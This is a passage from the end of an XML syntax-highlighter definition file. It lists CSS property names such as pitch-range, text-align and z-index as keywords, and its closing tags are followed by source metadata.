<keyword>pitch-range</keyword>
<keyword>pitch</keyword>
<keyword>play-during</keyword>
<keyword>position</keyword>
<keyword>quotes</keyword>
<keyword>richness</keyword>
<keyword>right</keyword>
<keyword>speak-header</keyword>
<keyword>speak-numeral</keyword>
<keyword>speak-punctuation</keyword>
<keyword>speak</keyword>
<keyword>speech-rate</keyword>
<keyword>stress</keyword>
<keyword>table-layout</keyword>
<keyword>text-align</keyword>
<keyword>text-decoration</keyword>
<keyword>text-indent</keyword>
<keyword>text-transform</keyword>
<keyword>top</keyword>
<keyword>unicode-bidi</keyword>
<keyword>vertical-align</keyword>
<keyword>visibility</keyword>
<keyword>voice-family</keyword>
<keyword>volume</keyword>
<keyword>white-space</keyword>
<keyword>widows</keyword>
<keyword>width</keyword>
<keyword>word-spacing</keyword>
<keyword>z-index</keyword>
</highlighter>
</highlighters>
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.